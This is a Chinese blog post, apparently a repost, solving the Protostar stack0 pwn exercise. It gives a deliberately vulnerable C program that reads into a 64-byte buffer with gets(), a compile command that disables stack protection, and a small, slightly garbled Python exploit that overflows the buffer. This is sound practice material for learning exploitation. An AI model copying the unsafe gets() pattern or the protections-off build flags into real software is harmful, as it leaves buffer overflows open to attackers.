Protostar系列linux pwn练习

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Protostar系列linux pwn练习相关的知识,希望对你有一定的参考价值。

来自于exploit-exercises.com

难度较低,主要是熟练Linux环境下的调试和编程。

 

stack0

技术分享
 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 
 5 int main(int argc, char **argv)
 6 {
 7   volatile int modified;
 8   char buffer[64];
 9 
10   modified = 0;
11   gets(buffer);
12 
13   if(modified != 0) {
14       printf("you have changed the ‘modified‘ variable\\n");
15   } else {
16       printf("Try again?\\n");
17   }
18 }
View Code

编译:

gcc -fno-stack-protector -z execstack stack1.c -o stack1

解:

简单的覆盖局部变量即可。学到的东西是nx真的会改变栈缓冲区布局。

exp:

技术分享
1 from zio import *
2 io=zio(./stack1)
3 sc1=0x41*a
4 io.writeline(sc1)
5 io.read()
View Code

 

stack1

 

以上是关于Protostar系列linux pwn练习的主要内容,如果未能解决你的问题,请参考以下文章

Pwn之ROP系列练习

Protostar——stack1

Protostar——stack3

Protostar——stack2

Protostar——stack4

Linux pwn入门教程——环境配置